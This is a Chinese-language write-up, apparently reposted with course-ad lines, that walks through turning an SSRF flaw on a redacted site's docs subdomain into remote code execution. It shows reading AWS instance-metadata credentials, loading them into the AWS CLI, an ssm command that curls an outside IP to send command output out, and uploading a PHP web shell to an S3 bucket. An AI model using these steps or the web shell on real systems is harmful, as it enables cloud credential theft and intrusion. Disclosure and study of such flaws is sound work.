学习分享Download

[七月Python基础入门+进阶熟练班+ 数据分析班+爬虫项目] [七月Python基础入门+进阶熟练班+ 数据分析班+爬虫项目]

[七月Python基础入门+进阶熟练班+ 数据分析班+爬虫项目] [七月Python基础入门+进阶熟练班+ 数据分析班+爬虫项目]

需要学习资源,请点击开挂教学楼

需要学习资源,请点击开挂教学楼

测试范围

在对该站点进行子域枚举时,我找到了[docs.redact.com]这个子域。

查找带外资源加载

[docs]子域名显示了一些文档和统计信息

学习分享Download

在点击统计数据的照片时,我看到了一些奇怪的链接:

学习分享Download

我想到的第一件事就是将[url]的值改为generaleg0x01.com

学习分享Download

然后,我注意到了[mimeType]参数并编辑更改了链接,如下:

https://docs.redact.com/report/api/v2/help/asset?url=https://generaleg0x01.com&mimeType=text/html&t=REDACTED.JWT.TOKEN&advertiserId=11

学习分享Download

到目前为止它只是[带外资源加载]

验证 SSRF

当我查看BurpSuite中的请求/响应时我注意到了响应头[X-Amz-Cf-Id]

所以,当前的环境应该是AWS。

我们需要确保SSRF在这里可以正常利用。正如我们所知,[169.254.169.254]是EC2实例的本地IP地址。

让我们尝试通过导航到[ latest/meta-data/]来访问元数据文件夹。

学习分享Download

SSRF被确认。

让我们通过导航到[/latest/meta-data/iam/security-credentials/]来检查我们当前的角色。

可以看到当前为:aws-elasticbeanstalk-ec2-role

学习分享Download

什么是 AWS Elastic Beanstalk ?

AWS Elastic Beanstalk是AWS提供的平台即服务(PaaS),用于部署和扩展针对各种环境(如Java,.NET,PHP,Node.js,Python,Ruby和Go)开发的Web应用程序。

它会自动处理部署,容量配置,负载均衡,自动扩展和应用程序运行状况监视。

抓取所需数据

1)转到[/latest/meta-data/iam/security-credentials/aws-elasticbeanstalk-ec2-role/]

获取[AccessKeyId,SecretAccessKey,Token]

学习分享Download

2)转到[/latest/dynamic/instance-identity/document/]

获取[instanceId,accountId,region]

学习分享Download

配置 AWS 命令行界面

打开terminal终端:

~# apt install awscli ~# export AWS_ACCESS_KEY_ID=AccessKeyId ~# export AWS_SECRET_ACCESS_KEY=SecretAccessKey ~# export AWS_DEFAULT_REGION=region ~# export AWS_SESSION_TOKEN=Token

学习分享Download

获取[UserID]

~# aws sts get-caller-identity

学习分享Download

SSRF利用得很好,现在让我们进一步的漏洞挖掘,看看能否将其升级为威胁性更大的“RCE”

从 SSRF 到 RCE

我尝试了一些潜在的利用场景。

通过[ssm send-command]发送命令失败

之后我研究尝试使用了AWS Systems Manager [ssm] 命令。

但该角色无权执行此命令。我希望使用aws ssm send-command来实现漏洞升级。

~# aws ssm send-command –instance-ids “instanceId” –document-name “AWS-RunShellScript” –comment “whoami” –parameters commands=’curl 128.199.xx.xx:8080/`whoami`’ –output text –region=region

但显示调用SendCommand操作时发生错误(AccessDeniedException)。

An error occurred (AccessDeniedException) when calling the SendCommand operation: User: arn:aws:sts::765xxxxxxxxx:assumed-role/aws-elasticbeanstalk-ec2-role/i-007xxxxxxxxxxxxxx is not authorized to perform: ssm:SendCommand on resource: arn:aws:ec2:us-east-1:765xxxxxxxxx:instance/i-00xxxxxxxxxxxxxx

学习分享Download

通过[SSH]升级漏洞同样失败,SSH端口已关闭。

学习分享Download

通过[Uploading Backdoor]成功!

尝试读取[S3 Bucket]的内容:

尝试使用AWS CLI运行多个命令从AWS实例检索信息。但由于安全策略的原因,对大多数命令的访问被拒绝。

~# aws s3 ls
An error occurred (AccessDenied) when calling the ListBuckets operation: Access Denied

学习分享Download

经过仔细研究后我发现,托管策略“AWSElasticBeanstalkWebTier”只允许访问名称以“elasticbeanstalk”开头的S3 buckets。

为了访问S3 bucket,我们将使用之前抓取的数据,格式如下:

elasticbeanstalk-region-account-id

现在,bucket名称为“elasticbeanstalk-us-east-1-76xxxxxxxx00”。

让我们以递归方式列出“elasticbeanstalk-us-east-1-76xxxxxxxx00”的bucket资源,我们使用AWS CLI来执行此任务:

~# aws s3 ls s3://elasticbeanstalk-us-east-1-76xxxxxxxx00/ –recursive

学习分享Download

现在,让我们尝试上传一个后门!

~# cat cmd.php
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>

学习分享Download

~# aws s3 cp cmd.php s3://elasticbeanstalk-us-east-1-76xxxxxxxx00/

学习分享Download

上传:

./cmd.php to s3://docs.redact.com/cmd.php

学习分享Download

我们成功将漏洞升级为了RCE!

学习分享Download

简而言之

将SSRF升级到RCE的方法很多,但这主要取决于你的目标环境。

上一篇:SSRF绕过filter_var(),preg_match()和parse_url()


下一篇:ssrf(Server-Side Request Forgery)